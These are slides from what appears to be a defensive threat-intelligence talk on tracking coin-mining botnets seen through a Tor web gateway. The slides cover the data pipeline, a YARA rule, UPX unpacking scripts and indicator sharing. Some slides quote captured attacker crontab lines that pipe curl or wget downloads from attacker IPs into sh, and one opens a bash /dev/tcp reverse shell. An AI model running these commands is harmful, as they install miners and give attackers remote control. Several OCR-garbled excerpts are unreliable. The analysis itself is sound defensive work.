



# Industrialize the Tracking of Botnet Operations

A Practical Case with Large  
Coin-Mining Threat-Actor(s)

# Industrialize the Tracking of Botnet Operations

## A Practical Case with Large Coin-Mining Threat-Actor(s)



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# Outline

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- A word about Tor web gateways
- A word about Tor web gateways - our setup
- Illegitimate Cryptomining
- Making sense of the data
- Sharing analyses alongside relevant indicators
- Future Works.

## A word about Tor web gateways

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- Offer an HTTP or SOCKS5 proxy to the tor network,
- onion.to, tor2web.in, tor2web.it, tor2web.su, onion.re, tor2web.su, onion.com.de, onion.sh, tor2web.io, etc.
- used to protect publishers' anonymity without regards for users',
- some use official tor2web python tool<sup>1</sup>,
- can log everything,
- can tamper with users' HTTP traffic (adding ads, scripts),
- can be malicious (redirects, binary injection)
- can be used to host C2 hidden services.

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<sup>1</sup><https://github.com/tor2web/>  
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## A word about Tor web gateways

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- In August 2020, we got an itch to set up a Tor web gateway, interested in understanding what is the part of truth in our previous slide,
- after very few advertisements about it on twitter and elsewhere, we started to receive repeating HTTP requests (maybe to assess the service reliability)
- On October 20th, we started to receive requests with this kind of referer:

```
61.153.75.222_root_x86_64_controller_73ebe5e5ba4a522bc839d46dea1c8a3e_NDMgKiAqICogKiAvcM9vdC8uc3lzdG  
VtZC1zZXJ2aWNlLnNoID4gL2Rldi9udWxsIDI+JjEgJgowICAqLzMgICogICogICogL2JpbI9iYXNoIC91c3IvbGll3B5dGhvbj  
IuNi9zaXRLLXBhY2thZ2VzL2VDbGZlc1JlY292ZXJ5L3ZlY19SZWNvdnVyeS9zY3JpcHQvbXlzcWxfYmFrLnNoCg==  
  
115.236.179.140_yarn_x86_64_helloworld1_c496dacf7034371127de6f4bcad7e4c0_NDIgKiAqICogKiAvcM9vdC8uc3lzdG  
WRvb3AteWYybi8uc3lzdGVtZC1zZXJ2aWNlLnNoID4gL2Rldi9udWxsIDI+JjEgJgo=  
  
41.175.8.163_postgres_x86_64_paygosandbox_776ee77610be03536a302ca1d8acc69d_MjQgKiAqICogKiAvcM9vdC8uc3lzdG  
l9wZ3NxbC8uc3lzdGVtZC1zZXJ2aWNlLnNoID4gL2Rldi9udWxsIDI+JjEgJgo=  
  
117.62.172.163_yarn_x86_64_bigdata05_b7e1f989ae02b183a2507c1ce83de468_
```

## A word about Tor web gateways

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- base64 decoded contents looked somethings like that:


```
1 * * * * /root/.systemd-service.sh > /dev/null 2>&1 &
* * * * * /usr/local/dbappsecurity/edr/loopstart_edr.sh
0 * * * * ntpdate cn.ntp.org.cn
18 * * * * /var/lib/postgresql/.systemd-service.sh > /dev/null 2>&1 &
*/1 * * * * sh /root/wxb/kill-out/wxb_kill-out.sh
*/5 * * * * sh /usr/local/bin/wxb_secure_ssh.sh
12 * * * * /home/hadoop/.systemd-service.sh > /dev/null 2>&1 &
8 * * * * /var/lib/postgresql/.systemd-service.sh > /dev/null 2>&1 &
43 * * * * /var/lib/pgsql/.systemd-service.sh > /dev/null 2>&1 &
```

- We soon started to collect binaries and to automate some aspects of the analysis.

# A word about Tor web gateways

## Our setup

---



# A word about Tor web gateways

## Our setup

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D4 collects logs files as produced and push them in a redis list, then:

- we grok the log files and push the result in a RedisGraph,
- we use a combination of CYPHER and RedisSearch queries to navigate the data,
- we use redisinsight for the visualization


```
MATCH (b:Bot)-[r:reach]->(cc:CC)
WHERE b.firstseen CONTAINS "/Apr/2021"
RETURN b, cc
```



# A word about Tor web gateways

## Our setup

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# Making sense of the data

These referers fields...

---

```
CALL db.idx.fulltext.queryNodes('Command', '" http"|" https"') YIELD  
RETURN node.content
```

```
** * * * wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1\n"  
"/1 */22 * * 6 (curl -fsSL http://144.217.207.26/fc||wget -q -O - http://144.217.207.26/fc)|bash >  
/dev/null 2>&1\n"  
"/30 * * * * /home/postgres//usr/local/pgsql/data/./oka\n* */6 * * * wget -q -O- http://xmr.linux12  
13.ru:2019/back.sh | sh\n"  
"REDIS0008\xfa\tredis-ver\x064.0.11\xfa\nredis-bits\xc0@\xfa\x05ctime³4<^\xfa\bused-mem\xc2\xe7\x1f\  
x0e\x00\fa\faof-preamble\xc0\x00\xfe\x00\xfb\x01\x00\x00\xc0\x01@z\n\n*/1 * * * * curl -L http://12  
0.25.164.145:2245/i.sh | sh\n*/1 * * * * wget -q http://120.25.164.145:2245/i.sh -O - | sh\n\n\xffX\  
x12\xbd6GRb\fa"
```

# Making sense of the data

These referers fields...

---

```
CALL db.idx.fulltext.queryNodes('Command', 'REDIS000*') YIELD node
RETURN node
```

```
"REDIS0008\xfa\tredis-ver\x064.0.11\xfa\nredis-bits\xc0@\xfa\x05ctime^34<^\xfa\bused-mem\xc2\xe7\x1f\x0e\x00\xfa\faof-preamble\xc0\x00\xfe\x00\xfb\x01\x00\x00\xc0\x01@z\n\n*/1 * * * * curl -L http://120.25.164.145:2245/i.sh | sh\n\n*/1 * * * * wget -q http://120.25.164.145:2245/i.sh -O - | sh\n\n\n\xffX\x12\xbd6GRb\xfa"
```

```
"REDIS0009\xfa\tredis-ver\x055.0.8\xfa\nredis-bits\xc0@\xfa\x05ctime\xc2I1\xb2_\xfa\bused-mem,S\x0e\x00\xfa\faof-preamble\xc0\x00\xfe\x00\xfb\x02\x00\x00\x04wedc5\n\n * * * * bash -i >& /dev/tcp/47.100.5.0/12350 0>&1\n\n\x00\x04we2c5\n\n * * * * bash -i >& /dev/tcp/47.100.5.0/12350 0>&1\n\n\xff\xc4\x02\x0f\xb3j\t"
```

# Making sense of the data

## External analyses

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By that time other analyses with common IoCs or similar techniques appeared:

- SystemdMiner <sup>2</sup>
- PGMiner <sup>3</sup>
- dreambus Botnet <sup>4</sup>

We are observing linux-based cryptomining botnets targeting redis, postgresql, yarn, jenkins, spark, saltsack, consul and SSH.

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<sup>2</sup><https://unit42.paloaltonetworks.com/pgminer-postgresql-cryptocurrency-mining-botnet/>


<sup>3</sup><https://unit42.paloaltonetworks.com/pgminer-postgresql-cryptocurrency-mining-botnet/>

<sup>4</sup><https://www.zscaler.com/blogs/security-research/dreambus-botnet-technical-analysis>



# Making sense of the data

● Binary(61) ● CC(25)  
→ host(509)



# Making sense of the data

● Binary(34) ● CC(25)  
→ host(201)



# Making sense of the data

## They look all related

25wlksd35c2fs55rnhlcfcz3jjaujxmbmfkvrxeu7tkgnnesdh3gghqd	dreambus	related
2iuu6o3zmbwmynik2		related
4iucigxvlf4vcqn5sordersaa3a3ztjcaoszptxo5b3pbn6nlwfsad	dreambus	related
4k6jta4zrwzm7u54am3vnjpnvlvbjvrtprytf4scmrw7u3udmgqaqd		related
5ixhieezoxwnvisopgxoba6ssbsrxdpxeduxb4jc6zx7s56rfrjzad		related
7jmrbrtrvgkcqldzyob4kotpyvsz546yvik2xv4rpnfmrhe4imxthqd		related
aptgetgxqs3secda	SystemdMiner	
bggts547gukhvmf4cagandlgxxphengxovoyo6ewhns5qmmmb2b5oi43yd	dreambus	related
dreambusweduybcp	dreambus, PGMIner	
i62hmnztfpzwrhjg34m6ruxem5oe36nulzmxcgdbdbkiaceubprkta7ad	dreambus	related
ji55jjlpknk7eayxtb5o3ulxuevntutsdanov5dp3wya7l7btjv4qd	dreambus	related
jk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfthtoyd	PGMiner	
kkllqbwjy3s3g2iotajef2a3kychks2t3agsbv2hdwtiymkbnuuid		related
mazecImhbcucxin		
mhevkk4odgzpt2hb3jhhw2uz4vhunoo55evewrgmouyiehcaltmbrqd		related
nssnct6udyyx6zlv4l6jhqr5jdf643shyer246fs27ksrdehl2z3qd	dreambus, PGMIner	related
ojk5zra7b3yq32timb27n4qj5udk4w2l5kqn5ulhnugdscelttfthtoyd	dreambus, PGMIner	related
plgs6otqdiu7snxdfwjnidhw4ncmp5qvxxi5gepiszg75kxebwci2wad		related
qsts2vqotnlh2h5xwa7fp3iopb7h7cngknjjo4f4sxhrwcqgughipxid	dreambus	related
rapid7cpfqnwxxodo	SystemdMiner	
rxmxpzkfydkulhqnufbtm6f5q67jjchopmh4ofszfwwnmz4bqq2fid		related
ryukdssuskovhnb		related
sg722jwocbvcdckhd4dptpqfek5fsbm3v57qg6lzhuo56np73mb3zyd	dreambus	related
tencentxjy5kpcv		related
trumpzwlvlrvlss	SystemdMiner	related
va6xh4hqgb754klsffjamjgotlq7mne3lyyrhu5vhyhpakbumzeo4c4ad		related
wacpnno40ttxlyvj2adaieavxx2saxoymednidp3zyfoqfc5jppqd		related
wdtia7l7nhvj4dlwt64coa6y2ujyiv3w7g2pmsf5oidnfgkceumead		related
wzyv2nptjuxcqoibeklxese46j4uonzaapwyl6wvhdknjlqcoeu7id		related
y4mcrfeigca2robj3azb2qwd5hk45xpoaddupmdwv24qoggnmbid		related
yrxxxqia45xxcdqfwyx4pk6ufyanazdwjvb3de7r4mrtyzt5mpw35yd		related



# Making sense of the data

## Unpacking binaries

Binaries are packed with UPX and made unusable by UPX -d by modifying the magic UPX string:

```
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF..... 00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF.....
00000010: 0200 3e00 0100 0000 2872 4c00 0000 0000 ..>.....(L.... 00000010: 0200 3e00 0100 0000 486a 4000 0000 0000 ..>.....H]@....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000 @..... 00000020: 4000 0000 0000 0000 0000 0000 0000 0000 @.....
00000030: 0000 0000 4000 3800 0300 4000 0000 0000 ...@.8...@..... 00000030: 0000 0000 4000 3800 0300 4000 0000 0000 ...@.8...@.....
00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ..@.....@..... 00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ..@.....@.....
00000050: 0000 4000 0000 0000 0000 4000 0000 0000 ..@.....@..... 00000050: 0000 4000 0000 0000 0000 4000 0000 0000 ..@.....@.....
00000060: 4284 0c00 0000 0000 4284 0c00 0000 0000 B.....B..... 00000060: 2d7c 0000 0000 0000 2d7c 0000 0000 0000 -|.....|.....
00000070: 0000 2000 0000 0000 0100 0000 0600 0000 .. ..... 00000070: 0000 2000 0000 0000 0100 0000 0600 0000 .. .....
00000080: 0000 0000 0000 0000 0090 4c00 0000 0000 .....L..... 00000080: 0000 0000 0000 0000 0080 4000 0000 0000 .....@.....
00000090: 0090 4c00 0000 0000 0000 0000 0000 0000 ..L..... 00000090: 0080 4000 0000 0000 0000 0000 0000 0000 ..@.....
000000a0: 7845 4500 0000 0000 0010 0000 0000 0000 xEE..... 000000a0: 7893 2000 0000 0000 0010 0000 0000 0000 x.....
000000b0: 51e5 7464 0600 0000 0000 0000 0000 0000 Q.td..... 000000b0: 51e5 7464 0600 0000 0000 0000 0000 0000 Q.td.....
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ..... 000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 .....
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000 ..... 000000d0: 0000 0000 0000 0000 0000 0000 0000 0000 .....
000000e0: 1000 0000 0000 0000 deda 8b5f 00ff 9941 .....A 000000e0: 1000 0000 0000 0000 18b9 39c1 dfdd 3033 .....9...03

#!/usr/bin/env python
import sys

def main(srcFilename):
    f = open(srcFilename, 'rb')
    s = open(srcFilename+'_00ff9941', 'wb+')
    header = f.read(0xea)
    s.write(header)
    bindata = f.read()
    f.close()
    bindata = bindata.replace(b'\x00\xff\x99\x41', 'UPX!')
    s.write(bindata)
    f.close()

if __name__ == '__main__':
    main(sys.argv[1])

#!/usr/bin/env python
import sys

def main(srcFilename):
    f = open(srcFilename, 'rb')
    s = open(srcFilename+'_dfdd3033', 'wb+')
    header = f.read(0xea)
    s.write(header)
    bindata = f.read()
    f.close()
    bindata = bindata.replace(b'\xdf\xdd\x30\x33', 'UPX!')
    s.write(bindata)
    f.close()

if __name__ == '__main__':
    main(sys.argv[1])
```

# Making sense of the data

## Unpacking binaries

---


Packed binaries match this yara rule:

```
rule torcryptomining
{
  strings:
    $upx_erase = {(00 FF 99 41|DF DD 30 33)}
  condition:
    $upx_erase at 236
}
```

# Making sense of the data


## Unpacking binaries

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# Making sense of the data

## Unpacking binaries



# Making sense of the data

## Unpacking binaries - retrohunt


---

- retrohunt brought 47 binaries spanning from 15th January 2021 to this day,
- XMR stratum proxies don't change over binary repacking:

```
"url": "119.205.235.58:443",  
"url": "119.205.235.58:8080",  
"url": "136.243.90.99:443",  
"url": "136.243.90.99:8080",  
"url": "153.127.216.132:8080",  
"url": "164.132.105.114:443",  
"url": "164.132.105.114:8080",  
"url": "94.176.237.229:443",  
"url": "94.176.237.229:80",  
"url": "94.176.237.229:8080",
```

# Making sense of the data


---



- From 20 October 2020
- To 31 March 2021
- Total amount of bot seen: 27186

# Making sense of the data

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


- Median: 14 days
- Mean: 28 days
- Max: 167 days (since day 1)

# Making sense of the data

Looong lasting, overconnected bots

- 8 bots are present from day one,
- and reached at least 20 C2 hidden services,
- All from China.




429 kb 24 ip:123.59.26.64 firstseen:2008082017:12:34 +0800 lastseen:11Apr2021:07:57:50 +0000 user:rmcauser hostname:server01 fingerprint:caa48d0161



# Making sense of the data









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- Median: 91 days
- Mean: 96 days
- Max: 167 days (since day 1)


# Sharing analyses alongside relevant indicators

## Cryptomining Botnet event

Event ID	222
UUID	1b463c80-aff9-473e-9491-bccf0d494027  
Creator org	<a href="#">D4</a>
Creator user	admin@admin.test
Tags	  
Date	2020-10-20
Threat Level	 High
Analysis	Initial
Distribution	This community only 
Info	Cryptomining Botnet event
Published	No
#Attributes	934 (147 Objects)
First recorded change	2021-04-10 10:19:42
Last change	2021-04-12 00:11:56
Modification map	
Extended by	<div>Event (223): Cryptomining Botnet event update</div> <div>Event (224): Cryptomining Botnet event update</div> <div>Event (225): Cryptomining Botnet event update</div> <div>Event (226): Cryptomining Botnet event update</div> <div>Event (227): Cryptomining Botnet event update</div> <div>Event (228): Cryptomining Botnet event update</div> <div>Event (229): Cryptomining Botnet event update</div> <div>Event (230): Cryptomining Botnet event update</div> <div>Event (231): Cryptomining Botnet event update</div> <div>Event (232): Cryptomining Botnet event update</div> <div>Event (233): Cryptomining Botnet event update</div> <div>Event (234): Cryptomining Botnet event update</div> <div>Event (235): Cryptomining Botnet event update</div> <div>Event (236): Cryptomining Botnet event update</div> <div>Event (237): Cryptomining Botnet event update</div> <div>Event (238): Cryptomining Botnet event update</div> <div>Event (239): Cryptomining Botnet event update</div> <div>Event (240): Cryptomining Botnet event update</div> <div>Event (241): Cryptomining Botnet event update</div> <div>Event (242): Cryptomining Botnet event update</div> <div>Event (243): Cryptomining Botnet event update</div>

# Sharing analyses alongside relevant indicators

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## Future Works

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- Add collection points,
- improve binary collection,
- automatically unpack binaries, extract relevant IoCs,
- use rediseach to get insights about compromised hosts,
- automatically generate daily MISP report in the daily event,
- interface with RT to notify victims.

# End

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- For more info contact [info@circl.lu](mailto:info@circl.lu)
- Thank you

See you soon for the Q & A

## Legal aspects of tor2web gateways

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- Operating and running Tor web gateways come with some ethical requirements,
- If you operate it for security monitoring, share the results to improve security,
- Users are not protected and they can be abused/tracked,
- By being a tor2web operator, you expose Tor hidden services and can be considered as the hoster.